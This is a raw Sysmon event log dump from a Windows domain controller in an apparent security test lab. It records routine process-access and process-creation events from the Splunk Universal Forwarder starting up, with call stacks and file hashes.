09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002034Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002033Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002032Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002031Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002030Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002029Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002028Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28D2-5F80-5600-000000007F01}3956C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002027Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28D2-5F80-5500-000000007F01}39643960C:\Windows\system32\cmd.exe{A5F018FF-28D2-5F80-5600-000000007F01}3956C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002026Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.990{A5F018FF-28D2-5F80-5600-000000007F01}3956C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool server list replication_port --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-28D2-5F80-5500-000000007F01}3964C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool server list replication_port --no-log 10341000x80000000000000002025Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D2-5F80-5500-000000007F01}3964C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002024Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002023Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002022Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002021Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002020Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002019Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002018Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002017Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002016Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002015Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28D2-5F80-5500-000000007F01}3964C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002014Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.981{A5F018FF-28D1-5F80-4B00-000000007F01}38523916C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-28D2-5F80-5500-000000007F01}3964C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+18274|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002013Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.986{A5F018FF-28D2-5F80-5500-000000007F01}3964C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool server list replication_port --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28D1-5F80-4B00-000000007F01}3852C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 10341000x80000000000000002012Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.887{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28D2-5F80-5400-000000007F01}2628C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002011Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.887{A5F018FF-28D2-5F80-5400-000000007F01}26283900C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+116e675|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+f344c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002010Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.653{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D2-5F80-5400-000000007F01}2628C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002009Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:38.637{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002008Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 